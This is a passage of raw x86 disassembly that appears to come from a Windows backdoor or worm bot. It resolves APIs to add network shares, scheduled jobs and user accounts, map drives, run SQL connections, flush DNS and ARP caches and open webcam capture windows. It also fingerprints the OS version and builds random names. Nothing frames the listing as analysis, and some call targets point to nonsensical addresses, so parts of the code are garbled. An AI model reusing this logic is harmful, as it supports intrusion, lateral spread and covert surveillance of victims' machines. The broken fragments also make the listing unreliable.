		mov	dword_4CB95C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi
		cmp	dword_4CB95C, ebx
		mov	dword_4CB8EC, eax
		jz	short loc_40A25D
		cmp	dword_4CBA8C, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------


loc_40A252:				; CODE XREF: sub_409909+90Aj
		call	near ptr 2690C56h
		nop
		mov	dword_4CBAC8, eax


loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBAC4, 1


loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB8C8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8A0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB918, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB94C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBA64, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB900, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8AC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB89C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB934, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi
		cmp	dword_4CB8C8, ebx
		mov	dword_4CB908, eax
		jz	short loc_40A379
		cmp	dword_4CB8A0, ebx
		jz	short loc_40A379
		cmp	dword_4CB918, ebx
		jz	short loc_40A379
		cmp	dword_4CB94C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA64, ebx
		jz	short loc_40A379
		cmp	dword_4CB900, ebx
		jz	short loc_40A379
		cmp	dword_4CB8AC, ebx
		jz	short loc_40A379
		cmp	dword_4CB89C, ebx
		jz	short loc_40A379
		cmp	dword_4CB934, ebx
		jz	short loc_40A379
		cmp	dword_4CBA2C, ebx
		jz	short loc_40A379
		cmp	dword_4CB9E4, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------


loc_40A36E:				; CODE XREF: sub_409909+969j
		nop
		call	near ptr 2690C56h
		mov	dword_4CBAD0, eax


loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBACC, 1


loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi
		cmp	dword_4CB8F0, ebx
		mov	dword_4CB9CC, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: sub_409909+A85j
		nop
		call	near ptr 2690C56h
		mov	dword_4CBAD8, eax


loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBAD4, 1


loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBA50, eax
		call	esi
		cmp	dword_4CBA50, ebx
		mov	dword_4CBA4C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------


loc_40A402:				; CODE XREF: sub_409909+ACFj
		nop
		call	near ptr 2690C56h
		mov	dword_4CBAE0, eax


loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBADC, 1


loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBA7C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBA74, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi
		cmp	dword_4CBA7C, ebx
		mov	dword_4CB90C, eax
		jz	short loc_40A481
		cmp	dword_4CBA74, ebx
		jz	short loc_40A481
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------


loc_40A476:				; CODE XREF: sub_409909+B19j
		call	near ptr 2690C56h
		nop
		mov	dword_4CBAE8, eax


loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBAE4, 1


loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB940, eax
		call	esi
		cmp	dword_4CB940, ebx
		mov	dword_4CBA48, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------


loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		call	near ptr 2690C56h
		nop
		mov	dword_4CBAF0, eax


loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBAEC, 1


loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA10, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBA5C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB998, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB950, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi
		cmp	dword_4CBA10, ebx
		mov	dword_4CB960, eax
		jz	short loc_40A569
		cmp	dword_4CBA5C, ebx
		jz	short loc_40A569
		cmp	dword_4CB998, ebx
		jz	short loc_40A569
		cmp	dword_4CB950, ebx
		jz	short loc_40A569
		cmp	dword_4CB9F0, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------


loc_40A55E:				; CODE XREF: sub_409909+BD7j
		nop
		call	near ptr 2690C56h
		mov	dword_4CBAF8, eax


loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBAF4, 1


loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB924, eax
		call	esi
		cmp	dword_4CB924, ebx
		mov	dword_4CBA04, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5A8:				; CODE XREF: sub_409909+C75j
		call	near ptr 2690C56h
		nop
		mov	dword_4CBB00, eax


loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBAFC, 1


loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBA94, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBA98
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBA9C, esi
		jz	short loc_40A641
		push	dword_4CBAA0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAA4, esi
		jz	short loc_40A675
		push	dword_4CBAA8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBAAC, esi
		jz	short loc_40A6A9
		push	dword_4CBAB0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBAB4, esi
		jz	short loc_40A6DD
		push	dword_4CBAB8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBABC, esi
		jz	short loc_40A711
		push	dword_4CBAC0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBAC4, esi
		jz	short loc_40A745
		push	dword_4CBAC8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBACC, esi
		jz	short loc_40A779
		push	dword_4CBAD0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBAD4, esi
		jz	short loc_40A7AD
		push	dword_4CBAD8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBADC, esi
		jz	short loc_40A7E1
		push	dword_4CBAE0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBAE4, esi
		jz	short loc_40A815
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBAEC, esi
		jz	short loc_40A849
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBAF4, esi
		jz	short loc_40A87D
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBAFC, esi
		jz	short loc_40A8B1
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax


loc_40A897:				; DATA XREF: ___:0043320Co
					; ___:00433250o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6C4
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB8F0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBA50
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981


loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------


loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8B4
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBA50
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------


loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D884


loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx


loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D854
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]


loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA4C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB978
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB04
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------


loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: ___:off_42D920o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26A0D72h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D99C[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14


loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE


loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		db 56h,	57h, 90h
		dd 296251E8h, 91E85002h, 8B000117h, 0C710247Ch,	91382404h
		dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h,	10C483F6h
		dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
		dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
		dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 26A0D72h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA


loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4


loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26A0D72h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4315F4
		push	eax
		push	esi
		call	near ptr 26D0000h
		nop
		movsx	eax, byte_4315F4
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AC00:				; CODE XREF: ___:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx


loc_40AC07:				; CODE XREF: ___:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx


loc_40AC10:				; CODE XREF: ___:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx


loc_40AC17:				; CODE XREF: ___:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C


loc_40AC36:				; CODE XREF: ___:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36


loc_40AC5C:				; CODE XREF: ___:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26A0D72h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	near ptr 26E0000h
		nop
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4315F8
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1


loc_40ACAB:				; CODE XREF: ___:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB


loc_40ACD1:				; CODE XREF: ___:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DB88
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26E066Ah
		nop
		call	near ptr 26A0D72h
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431620


loc_40AD2B:				; CODE XREF: ___:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD3B:				; CODE XREF: ___:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431618
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD4B:				; CODE XREF: ___:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_431614
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD5B:				; CODE XREF: ___:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
		mov	esi, offset dword_431610
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: ___:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
		mov	esi, offset dword_43160C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: ___:0040AD7Bj
